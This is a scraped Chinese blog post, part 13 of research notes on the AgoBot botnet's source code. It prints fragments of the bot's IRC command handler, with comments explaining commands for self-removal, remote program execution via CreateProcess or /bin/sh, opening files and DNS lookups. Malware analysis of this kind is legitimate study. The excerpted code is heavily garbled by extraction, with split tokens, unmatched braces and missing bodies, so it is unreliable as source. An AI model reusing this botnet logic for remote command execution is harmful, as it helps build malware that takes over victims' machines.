AgoBot 殭屍網路研究筆記(十三)

2021-04-17 11:45:41 字數 4637 閱讀 2985

email:[email protected]

cinstaller

類分析完成,回到cbot類的分析 1、

cbot

::handlecommand

(cmessage

*pmsg

)函式   //

////函式功能:處理傳送來的由bot類負責處理的訊息

//引數:

cmessage *pmsg

接收到的訊息

//返回值:

處理成功返回true,否則返回false //

/bool

cbot

::handlecommand

(cmessage

*pmsg)

} //傳送處理的返回訊息到伺服器,引數1標識是否處於靜默狀態,引數2標識傳送模式

g_cmainctrl

.m_circ

.sendmsg

(pmsg

->

bsilent

, pmsg

->

bnotice

, "removing bot..."

, pmsg

->

sreplyto);

#ifdef 

win32 if

(g_cmainctrl

.m_cbot

.as_enabled

.bvalue

) //★★這個變數的初始值是什麼呢,為什麼在這裡直接用了呢。

#endif

g_cmainctrl

.m_cinstaller

.uninstall

();  

//解除安裝bot程式:生成刪除bot程式的批處理。

g_cmainctrl

.m_circ

.m_brunning

=false

;   

//irc類中的執行狀態設定為false

g_cmainctrl

.m_brunning

=false

;//全域性變數中的執行狀態設定為false }

else

if(!

pmsg

->

scmd

.compare

("bot.execute"

)) //處理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示執行的次數,notepad.exe 要執行的檔案

else

//建立指定的程序 if

(!createprocess

(null

, stext

.str

(), 

null

, null

, true

, normal_priority_class

| detached_process

, null

, null

, &sinfo

, &pinfo

)) 

#else

//在linux模式下,建立新的程序

cstring

scmdbuf; 

scmdbuf

.format

("/bin/sh -c /"%s/""

, stext

.cstr

()); if

(system

(scmdbuf

.cstr

())==-1) 

#endif

return

true; 

} else

if(!

pmsg

->

scmd

.compare

("bot.open"

)) //處理open指令

cstring

stext; 

stext

.assign

(&pmsg

->

schatstring

[pmsg

->

scmd

.getlength

()+2]); 

bool

bret

=false;

#ifdef 

win32

bret

=(int

)shellexecute

(0, 

"open"

, stext

.cstr

(), 

null

, null

, sw_show

)>=32;  

//開啟指定的檔案

#else

bret

=system

(stext

.cstr

())>0; 

//linux 平台中開啟某個程式。

#endif if

(bret

) //根據開啟檔案的成功與否,分別傳送不同的返回資訊

else

} else

if(!

pmsg

->

scmd

.compare

("bot.dns"

))   

//處理dns指令

unsigned

long

addr

=inet_addr

(pmsg

->

schatstring

.token

(1, 

" ").

cstr

());  

//提取dns指令後的,字串,將其轉換成ip位址

if(addr

!=inaddr_none

)  //字串為乙個ip位址,下面做的工作是通過ip 獲得他的網域名稱

} else

//如果轉換失敗,則可確定,後邊的字串是乙個網域名稱,則下面做的工作是根據網域名稱,來獲得ip位址  

} if(!

phostent

) //如果phostent的值為null,說明無法獲得該dns的資訊  

} else

if(!

pmsg

->

scmd

.compare

("bot.about"

)) //處理about指令,返回agobot相關的資訊

else

if(!

pmsg

->

scmd

.compare

("bot.id"

))   

//返回botid的指令

else

if(!

pmsg

->

scmd

.compare

("bot.nick"

)) //返回bot的暱稱

else

if(!

pmsg

->

scmd

.compare

("bot.quit"

) || !

pmsg

->

scmd

.compare

("bot.die"

)) //處理bot推出指令

else

if(!

pmsg

->

scmd

.compare

("bot.sysinfo"

)) //獲得系統資訊

else

if(!

pmsg

->

scmd

.compare

("bot.longuptime"

)) 

cstring

suptime

=longuptime

(idays

);  

//呼叫longuptime函式,具體該指令的功能需要進一步分析了該函式之後才能知道, if

(suptime

.compare(""

)) 

return

true; 

} else

if(!

pmsg

->

scmd

.compare

("bot.status"))

else

if(!

pmsg

->

scmd

.compare

("bot.rndnick"

)) //修改暱稱的指令,這裡只是推測,該指令對整體不是很重要

else

if(!

pmsg

->

scmd

.compare

("bot.flushdns"

))  

//重新整理本地的dns記錄

else

if(!

pmsg

->

scmd

.compare

("bot.secure"

)) //幫助檔案中沒有的內部指令

return

false; 

}

AgoBot 殭屍網路研究筆記(一)

由於工作需要,著手分析乙個agobot的開源的程式,一些收穫或許和大家分享 email anzijin sina.com 1 源 分以下幾塊 agobot3 source agobot 主體源 重點分析這塊的 scanner source 程式內應該包含了乙個掃瞄器模組 ddos source 實現...

AgoBot 殭屍網路研究筆記(二)

email anzijin sina.com 1 main函式 1 10 agobot3 0.2.1 pre3 alpha debug on win32 starting up.2 10 debugging with debuglevel of 10.2 cconsdbg類 有四個成員函式分別是 其...

AgoBot 殭屍網路研究筆記(七)

最近工作比較忙沒有及時更新最近的分析結果,終於週末有點時間了,趕快補上 email anzijin sina.com 1 circ 類中的 init 成員函式 函式功能 circ類的初始化函式,為bot新增irc相關的處理函式 引數 無 返回值 void void circ init 2 bool ...